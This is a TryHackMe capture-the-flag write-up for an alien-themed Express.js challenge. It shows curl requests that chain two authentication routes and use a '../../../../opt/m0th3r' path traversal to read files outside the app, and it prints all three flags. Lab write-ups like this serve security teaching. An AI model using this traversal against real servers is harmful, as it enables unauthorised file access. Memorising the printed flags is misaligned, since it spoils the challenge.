Table of Contents
- Challenge Overview
- Step 1 — Code Analysis
- Step 2 — Endpoint Discovery
- Step 3 — Flag 1 (JS Obfuscation)
- Step 4 — Auth Chain & Flag 2
- Step 5 — Flag 3 (Path Traversal to /opt/m0th3r)
- Answers
- Tools Used
- What Didn't Work
- Lessons Learned
Code Analysis — TryHackMe CTF Writeup #
Platform: TryHackMe
Category: Web / Code Analysis
Difficulty: Medium
Date: 2026-03-20
Author: t0nt0n
Reading time: ~5 min
Challenge Overview #
Alien-themed Express.js app (THMCSS Nostromo / MU-TH-UR 6000). Source code provided via a routes file. Three flags to capture. Only "Crew Member" access by default — must elevate to Science Officer by chaining routes in the correct order.
Step 1 — Code Analysis #
Downloaded routes file routes(2)-1694024181296.txt. Key findings:
yaml.js — POST / mounted at /yaml:
- Reads
./public/<file_path>, but only if extension is.yaml - Calls
yaml.load(data)— potentially unsafe, but js-yaml v4 (confirmed viapackage.json) removed unsafe types → no RCE
nostromo.js — two routes mounted at /api:
POST /api/nostromo— reads./public/<file_path>with no validation → path traversal possible → setsisNostromoAuthenticate = truePOST /api/nostromo/mother— reads./mother/<file_path>→ requires bothisYamlAuthenticateANDisNostromoAuthenticateto betrue
Auth mechanism: two module-level boolean flags shared across requests. Must hit /yaml then /api/nostromo before /api/nostromo/mother.
Step 2 — Endpoint Discovery #
Probing confirmed route prefixes:
1curl -IX POST http://10.129.141.214/api/nostromo \
2 -H "Content-Type: application/json" \
3 -d '{"file_path":"test"}'
4# → {"status":"error","message":"Science Officer Eyes Only"} ✓
5
6curl -IX POST http://10.129.141.214/yaml \
7 -H "Content-Type: application/json" \
8 -d '{"file_path":"test.yaml"}'
9# → {"status":"error","message":"Failed to read the file."} ✓
Step 3 — Flag 1 (JS Obfuscation) #
Read index.min.js via the nostromo path traversal (no validation):
1curl -s -X POST http://10.129.141.214/api/nostromo \
2 -H "Content-Type: application/json" \
3 -d '{"file_path":"index.min.js"}'
The obfuscated JS contains two base64 strings in its string array:
1echo "VEhNX0ZMQUd7MFJEM1JfOTM3fQ==" | base64 -d
2echo "Q0xBU1NJRklFRA==" | base64 -d
Reveal Flag 1 — base64 in JS
THM_FLAG{0RD3R_937}
Decoded second string
CLASSIFIED (role name shown after auth)
The JS also reveals the Science Officer name from the string array: Ash.
Step 4 — Auth Chain & Flag 2 #
The hint "Emergency command override is 100375 — use it when accessing Alien Loaders" suggests a yaml file named 100375.yaml:
1# 1. Authenticate yaml
2curl -s -X POST http://10.129.141.214/yaml \
3 -H "Content-Type: application/json" \
4 -d '{"file_path":"100375.yaml"}'
Response from 100375.yaml
FOR SCIENCE OFFICER EYES ONLY
special SECRETS:
REROUTING TO: api/nostromo
ORDER: 0rd3r937.txt [****]
UNABLE TO CLARIFY. NO FURTHER ENHANCEMENT.
1# 2. Authenticate nostromo with the hinted filename
2curl -s -X POST http://10.129.141.214/api/nostromo \
3 -H "Content-Type: application/json" \
4 -d '{"file_path":"0rd3r937.txt"}'
Reveal Flag 2 — nostromo route
Flag{X3n0M0Rph}
Step 5 — Flag 3 (Path Traversal to /opt/m0th3r) #
The 0rd3r937.txt response revealed Secret: /opt/m0th3r. The /api/nostromo/mother endpoint reads from ./mother/<file_path> with no sanitization.
Read server.js via nostromo to confirm app structure, then bruteforce traversal depth:
1# Auth both routes first
2curl -s -X POST http://10.129.141.214/yaml \
3 -H "Content-Type: application/json" \
4 -d '{"file_path":"100375.yaml"}' > /dev/null
5
6curl -s -X POST http://10.129.141.214/api/nostromo \
7 -H "Content-Type: application/json" \
8 -d '{"file_path":"0rd3r937.txt"}' > /dev/null
9
10# Path traversal — 4 levels needed (app was 4 dirs deep)
11curl -s -X POST http://10.129.141.214/api/nostromo/mother \
12 -H "Content-Type: application/json" \
13 -d '{"file_path":"../../../../opt/m0th3r"}'
Reveal Flag 3 — Mother's secret
Flag{Ensure_return_of_organism_meow_meow!}
Answers #
Science Officer name: Ash
Flag 1 (JS): see above
Flag 2 (Nostromo): see above
Flag 3 (Mother's secret): see above
Tools Used #
curl— all HTTP requests and exploitationbase64 -d— decode strings extracted from obfuscated JS- Code review of provided
routes(2)-1694024181296.txt
What Didn't Work #
- YAML deserialization RCE — js-yaml v4.1.0 removed
!!js/functionand other unsafe types;yaml.load()is safe in v4 /api/yamlprefix — yaml route is mounted at/yaml, not/api/yamlalien.yaml,config.yaml,nostromo.yaml— none existed; the correct file is100375.yaml(the override code)- Path traversal with 2–3
../— the app runs 4 directory levels deep; fewer levels hit non-existent paths
Lessons Learned #
- Always read the provided source code carefully — the auth chain (
isYamlAuthenticate+isNostromoAuthenticate) is the core puzzle - Obfuscated JS is worth deobfuscating manually — base64 strings in string arrays are a quick win
- Hint clues ("emergency override 100375") directly map to filenames —
100375.yaml - Path traversal depth requires bruteforcing when the app's absolute path is unknown; start at 2 and increment
package.jsonimmediately reveals library versions — check before attempting known CVEs (js-yaml v3 RCE vs v4 safe)